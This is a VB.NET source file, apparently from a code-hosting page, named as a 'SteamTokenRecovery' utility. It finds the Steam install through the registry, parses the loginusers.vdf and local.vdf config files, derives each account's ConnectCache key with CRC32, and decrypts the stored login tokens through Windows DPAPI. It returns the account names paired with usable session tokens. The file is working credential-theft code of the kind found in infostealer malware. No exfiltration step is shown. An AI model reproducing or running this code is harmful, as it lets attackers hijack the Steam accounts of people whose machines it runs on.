257 lines
11 KiB
VB.net
257 lines
11 KiB
VB.net
|
Imports System
|
||
|
|
Imports System.Collections.Generic
|
||
|
|
Imports System.IO
|
||
|
|
Imports System.Runtime.InteropServices
|
||
|
|
Imports System.Text
|
||
|
|
Imports Microsoft.Win32
|
||
|
|
|
||
|
|
Namespace SteamTokenRecovery
|
||
|
|
Public Class SteamTokenDecryptor
|
||
|
|
|
||
|
|
<DllImport("crypt32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
|
||
|
|
Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB,
|
||
|
|
<MarshalAs(UnmanagedType.LPWStr)> szDataDescr As String,
|
||
|
|
ByRef pOptionalEntropy As DATA_BLOB,
|
||
|
|
pvReserved As IntPtr,
|
||
|
|
pPromptStruct As IntPtr,
|
||
|
|
dwFlags As Integer,
|
||
|
|
ByRef pDataOut As DATA_BLOB) As Boolean
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function CalculateCrc32(data As Byte()) As UInteger
|
||
|
|
Dim crc As UInteger = UInteger.MaxValue
|
||
|
|
For Each b As Byte In data
|
||
|
|
crc = crc Xor CUInt(b)
|
||
|
|
For i As Integer = 0 To 7
|
||
|
|
If (crc And 1UI) = 1UI Then
|
||
|
|
crc = (crc >> 1) Xor 3988292384UI
|
||
|
|
Else
|
||
|
|
crc >>= 1
|
||
|
|
End If
|
||
|
|
Next
|
||
|
|
Next
|
||
|
|
Return Not crc
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function GetConnectCacheKey(accountName As String) As String
|
||
|
|
Dim bytes As Byte() = Encoding.UTF8.GetBytes(accountName)
|
||
|
|
Dim crc As UInteger = CalculateCrc32(bytes)
|
||
|
|
Return String.Format("{0:x}1", crc)
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function HexToBytes(hex As String) As Byte()
|
||
|
|
Dim result((hex.Length \ 2) - 1) As Byte
|
||
|
|
For i As Integer = 0 To hex.Length - 1 Step 2
|
||
|
|
result(i \ 2) = Convert.ToByte(hex.Substring(i, 2), 16)
|
||
|
|
Next
|
||
|
|
Return result
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Public Shared Function DecryptSteamToken(token As String, accountName As String) As String
|
||
|
|
Dim encryptedBytes As Byte() = HexToBytes(token)
|
||
|
|
Dim dataIn, dataOut, optionalEntropy As DATA_BLOB
|
||
|
|
Dim ptrData As IntPtr = IntPtr.Zero
|
||
|
|
Dim ptrEntropy As IntPtr = IntPtr.Zero
|
||
|
|
Dim result As String = String.Empty
|
||
|
|
|
||
|
|
Try
|
||
|
|
ptrData = Marshal.AllocHGlobal(encryptedBytes.Length)
|
||
|
|
Marshal.Copy(encryptedBytes, 0, ptrData, encryptedBytes.Length)
|
||
|
|
dataIn.pbData = ptrData
|
||
|
|
dataIn.cbData = encryptedBytes.Length
|
||
|
|
|
||
|
|
Dim entropyBytes As Byte() = Encoding.UTF8.GetBytes(accountName)
|
||
|
|
ptrEntropy = Marshal.AllocHGlobal(entropyBytes.Length)
|
||
|
|
Marshal.Copy(entropyBytes, 0, ptrEntropy, entropyBytes.Length)
|
||
|
|
optionalEntropy.pbData = ptrEntropy
|
||
|
|
optionalEntropy.cbData = entropyBytes.Length
|
||
|
|
|
||
|
|
If Not CryptUnprotectData(dataIn, Nothing, optionalEntropy, IntPtr.Zero, IntPtr.Zero, 0, dataOut) Then
|
||
|
|
Throw New Exception("Decryption failed.")
|
||
|
|
End If
|
||
|
|
|
||
|
|
Dim decrypted(dataOut.cbData - 1) As Byte
|
||
|
|
Marshal.Copy(dataOut.pbData, decrypted, 0, dataOut.cbData)
|
||
|
|
result = Encoding.UTF8.GetString(decrypted)
|
||
|
|
Finally
|
||
|
|
If ptrData <> IntPtr.Zero Then Marshal.FreeHGlobal(ptrData)
|
||
|
|
If dataOut.pbData <> IntPtr.Zero Then Marshal.FreeHGlobal(dataOut.pbData)
|
||
|
|
If ptrEntropy <> IntPtr.Zero Then Marshal.FreeHGlobal(ptrEntropy)
|
||
|
|
End Try
|
||
|
|
|
||
|
|
Return result
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Public Shared Function GetDecryptedSteamTokens() As Dictionary(Of String, String)
|
||
|
|
Dim result As New Dictionary(Of String, String)
|
||
|
|
|
||
|
|
Using key As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Valve\Steam")
|
||
|
|
If key Is Nothing Then Throw New Exception("Steam registry key not found.")
|
||
|
|
|
||
|
|
Dim steamPath As String = TryCast(key.GetValue("SteamPath"), String)
|
||
|
|
If String.IsNullOrEmpty(steamPath) Then Throw New Exception("SteamPath not found.")
|
||
|
|
|
||
|
|
Dim loginUsersPath As String = Path.Combine(steamPath, "config", "loginusers.vdf")
|
||
|
|
If Not File.Exists(loginUsersPath) Then Throw New Exception("loginusers.vdf not found.")
|
||
|
|
|
||
|
|
Dim localVdfPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "local.vdf")
|
||
|
|
If Not File.Exists(localVdfPath) Then Throw New Exception("local.vdf not found.")
|
||
|
|
|
||
|
|
Dim loginUsersContent As String = File.ReadAllText(loginUsersPath, Encoding.UTF8)
|
||
|
|
Dim localVdfContent As String = File.ReadAllText(localVdfPath, Encoding.UTF8)
|
||
|
|
|
||
|
|
Dim loginUsersDoc As New VdfDocument(loginUsersContent)
|
||
|
|
Dim localVdfDoc As New VdfDocument(localVdfContent)
|
||
|
|
|
||
|
|
Dim connectCache = localVdfDoc.GetDictionary("MachineUserConfigStore/Software/Valve/Steam/ConnectCache")
|
||
|
|
If connectCache Is Nothing Then
|
||
|
|
connectCache = localVdfDoc.GetDictionary("MachineUserConfigStore/Software/valve/Steam/ConnectCache")
|
||
|
|
End If
|
||
|
|
If connectCache Is Nothing Then Throw New Exception("ConnectCache not found.")
|
||
|
|
|
||
|
|
Dim users = loginUsersDoc.GetDictionary("users")
|
||
|
|
If users Is Nothing Then Throw New Exception("No users found in loginusers.vdf.")
|
||
|
|
|
||
|
|
For Each userEntry In users
|
||
|
|
Dim userDict = TryCast(userEntry.Value, Dictionary(Of String, Object))
|
||
|
|
If userDict IsNot Nothing AndAlso userDict.ContainsKey("AccountName") Then
|
||
|
|
Dim accountName = TryCast(userDict("AccountName"), String)
|
||
|
|
If Not String.IsNullOrEmpty(accountName) Then
|
||
|
|
Dim cacheKey = GetConnectCacheKey(accountName)
|
||
|
|
If connectCache.ContainsKey(cacheKey) Then
|
||
|
|
Dim token = TryCast(connectCache(cacheKey), String)
|
||
|
|
If Not String.IsNullOrEmpty(token) Then
|
||
|
|
Dim decryptedToken = DecryptSteamToken(token, accountName)
|
||
|
|
result.Add(userEntry.Key, $"{accountName}.{decryptedToken}")
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
Next
|
||
|
|
End Using
|
||
|
|
|
||
|
|
Return result
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Structure DATA_BLOB
|
||
|
|
Public cbData As Integer
|
||
|
|
Public pbData As IntPtr
|
||
|
|
End Structure
|
||
|
|
|
||
|
|
Public Class VdfDocument
|
||
|
|
Private _data As Dictionary(Of String, Object)
|
||
|
|
|
||
|
|
Public Sub New(vdfContent As String)
|
||
|
|
Dim parser As New VdfParser(vdfContent)
|
||
|
|
_data = parser.Parse()
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Function GetDictionary(path As String) As Dictionary(Of String, Object)
|
||
|
|
Dim parts = path.Split("/"c)
|
||
|
|
Dim current = _data
|
||
|
|
|
||
|
|
For Each part In parts
|
||
|
|
If current Is Nothing OrElse Not current.ContainsKey(part) Then
|
||
|
|
Return Nothing
|
||
|
|
End If
|
||
|
|
current = TryCast(current(part), Dictionary(Of String, Object))
|
||
|
|
Next
|
||
|
|
|
||
|
|
Return current
|
||
|
|
End Function
|
||
|
|
End Class
|
||
|
|
|
||
|
|
Public Class VdfParser
|
||
|
|
Private _content As String
|
||
|
|
Private _position As Integer
|
||
|
|
|
||
|
|
Public Sub New(content As String)
|
||
|
|
_content = content
|
||
|
|
_position = 0
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Function Parse() As Dictionary(Of String, Object)
|
||
|
|
SkipWhitespace()
|
||
|
|
If PeekChar() <> "{"c AndAlso PeekChar() <> """"c Then
|
||
|
|
Throw New FormatException("Invalid VDF format - expected '{' or '""'.")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If PeekChar() = "{"c Then
|
||
|
|
Return ParseObject()
|
||
|
|
Else
|
||
|
|
Dim result As New Dictionary(Of String, Object)
|
||
|
|
While _position < _content.Length AndAlso PeekChar() <> ChrW(0)
|
||
|
|
SkipWhitespace()
|
||
|
|
If PeekChar() = ChrW(0) Then Exit While
|
||
|
|
Dim key = ParseString()
|
||
|
|
SkipWhitespace()
|
||
|
|
If PeekChar() = "{"c Then
|
||
|
|
result(key) = ParseObject()
|
||
|
|
Else
|
||
|
|
result(key) = ParseString()
|
||
|
|
End If
|
||
|
|
End While
|
||
|
|
Return result
|
||
|
|
End If
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Function ParseObject() As Dictionary(Of String, Object)
|
||
|
|
Dim dict As New Dictionary(Of String, Object)
|
||
|
|
ExpectChar("{"c)
|
||
|
|
SkipWhitespace()
|
||
|
|
While PeekChar() <> "}"c
|
||
|
|
If PeekChar() = ChrW(0) Then Throw New FormatException("Unexpected end of VDF content.")
|
||
|
|
Dim key = ParseString()
|
||
|
|
SkipWhitespace()
|
||
|
|
If PeekChar() = "{"c Then
|
||
|
|
dict(key) = ParseObject()
|
||
|
|
Else
|
||
|
|
dict(key) = ParseString()
|
||
|
|
End If
|
||
|
|
SkipWhitespace()
|
||
|
|
End While
|
||
|
|
ExpectChar("}"c)
|
||
|
|
Return dict
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Function ParseString() As String
|
||
|
|
If PeekChar() <> """"c Then Throw New FormatException("Expected '""' at start of string.")
|
||
|
|
_position += 1
|
||
|
|
Dim sb As New StringBuilder
|
||
|
|
While PeekChar() <> """"c AndAlso PeekChar() <> ChrW(0)
|
||
|
|
Dim c = ReadChar()
|
||
|
|
If c = "\"c AndAlso PeekChar() <> ChrW(0) Then
|
||
|
|
c = ReadChar()
|
||
|
|
End If
|
||
|
|
sb.Append(c)
|
||
|
|
End While
|
||
|
|
If PeekChar() <> """"c Then Throw New FormatException("Unterminated string.")
|
||
|
|
_position += 1
|
||
|
|
Return sb.ToString()
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Function PeekChar() As Char
|
||
|
|
If _position >= _content.Length Then Return ChrW(0)
|
||
|
|
Return _content(_position)
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Function ReadChar() As Char
|
||
|
|
If _position >= _content.Length Then Return ChrW(0)
|
||
|
|
Dim c = _content(_position)
|
||
|
|
_position += 1
|
||
|
|
Return c
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Sub ExpectChar(c As Char)
|
||
|
|
If ReadChar() <> c Then Throw New FormatException($"Expected '{c}'")
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub SkipWhitespace()
|
||
|
|
While _position < _content.Length AndAlso Char.IsWhiteSpace(_content(_position))
|
||
|
|
_position += 1
|
||
|
|
End While
|
||
|
|
End Sub
|
||
|
|
End Class
|
||
|
|
End Class
|
||
|
|
End Namespace
|